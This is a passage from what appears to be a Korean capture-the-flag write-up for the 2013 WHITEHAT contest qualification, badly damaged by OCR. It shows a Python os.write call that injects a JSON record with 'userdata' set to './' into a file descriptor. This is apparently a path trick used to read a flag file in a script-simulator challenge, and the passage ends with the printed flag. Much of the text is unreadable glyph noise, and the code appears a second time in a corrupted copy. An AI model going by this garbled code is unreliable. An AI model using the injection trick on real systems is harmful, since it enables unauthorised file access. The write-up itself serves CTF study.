"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalaaaaaaaaaaaaaaaaaaaaaaaaaa.a" }

NI Ho{MT| Python L2

os.write (5, "{\"userdata\": \"./\", \"logindate\": \"2013-09-14 15:57:05.41
2807\", \"email\": \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalaaaaaaaaaaaa
aaaaaaaaaaaaaa.a\"}")

MHoY Eo{M7| Python 72 A

- 22 -
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Simulator

Your code here
| os.writel5, "{#"userdatal": 4" /4", #"logindated"  #'2013-08-14 15:67:05, 4128074", #'emai |#": ¥'asaaaaaaaaai

7Hi REAlP I

9lo| Python T2 MMAIH 5H CIAIRE] HTE MMIY GHO/EHE oMt MM
of userdata AE7} /(HA ClHE2)Z B 20, My Scripts B40] SO{7H3 /o e

Tl 228 2 4 9UCk

NMIHY Z=Z & My Scripts 0| &

ML L0 My Scripts

No Name Date

0 main.py Sat Sep 14 00:15:02 2013
1 flag Sat Sep 14 00:23:24 2013
2 main.pyc Sat Sep 14 00:15:02 2013
My Scripts M0 M mainpy ot 74 flaget= & 4 ULCE 0| FESHY Xl AS7|IE

-23-



CTF 22X Z0|E 1AM [2013 WHITEHAT CONTEST (TEAM QUALIFICATION)]

Your code here

| WHCB! abd fehaB58b832301 1heB97e51 eads

Flag : WHC81ab4fdba858b8923011be697e51ead5
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